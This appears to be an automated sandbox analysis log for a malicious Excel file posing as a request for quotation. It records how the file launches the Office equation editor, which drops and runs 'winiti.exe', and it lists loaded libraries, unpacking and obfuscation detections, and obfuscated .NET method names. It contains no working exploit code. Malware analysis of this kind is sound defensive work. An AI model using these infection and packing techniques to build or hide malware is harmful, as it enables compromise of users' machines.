Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: RFQ#51281AOLAI.xls Static file information: File size 1155072 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000009.00000000.440872955.00000000011D2000.00000020.00000001.01000000.00000005.sdmp, winiti.exe.8.dr, winiti[1].exe.8.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000009.00000000.440872955.00000000011D2000.00000020.00000001.01000000.00000005.sdmp, winiti.exe.8.dr, winiti[1].exe.8.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 0000000A.00000002.530456475.00000000008B0000.00000040.00001000.00020000.00000000.sdmp
Source: 1E630000.0.dr Initial sample: OLE indicators vbamacros = False
Source: 1E630000.0.dr Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 9.2.winiti.exe.680000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 9.2.winiti.exe.26e505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: winiti[1].exe.8.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: winiti.exe.8.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 9.2.winiti.exe.1120000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00401420 push es; retn 00F1h 10_2_004014F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0041F0DC push es; retf 10_2_0041F0E6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00412104 pushad ; ret 10_2_0041212D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0040C1EA push edx; retf 10_2_0040C1EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00403260 push eax; ret 10_2_00403262
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00426263 push edi; iretd 10_2_0042626E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00408271 push es; ret 10_2_00408272
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00413A0B push esi; retf 10_2_00413A0E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00418A13 push ds; retf 2ECDh 10_2_00418BEE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00418355 push ebp; retf 10_2_004183DC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00418BA5 push ebx; iretd 10_2_00418BA6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0041E653 push ds; iretd 10_2_0041E654
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0041E63B push ebx; iretd 10_2_0041E64C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_004187CA push ebp; ret 10_2_004187CB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008CDFA1 push ecx; ret 10_2_008CDFB4
Source: winiti[1].exe.8.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: winiti.exe.8.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: 9.2.winiti.exe.1120000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 9.2.winiti.exe.1120000.2.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 9.2.winiti.exe.680000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 9.2.winiti.exe.680000.0.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 9.2.winiti.exe.26e505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 9.2.winiti.exe.26e505c.4.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
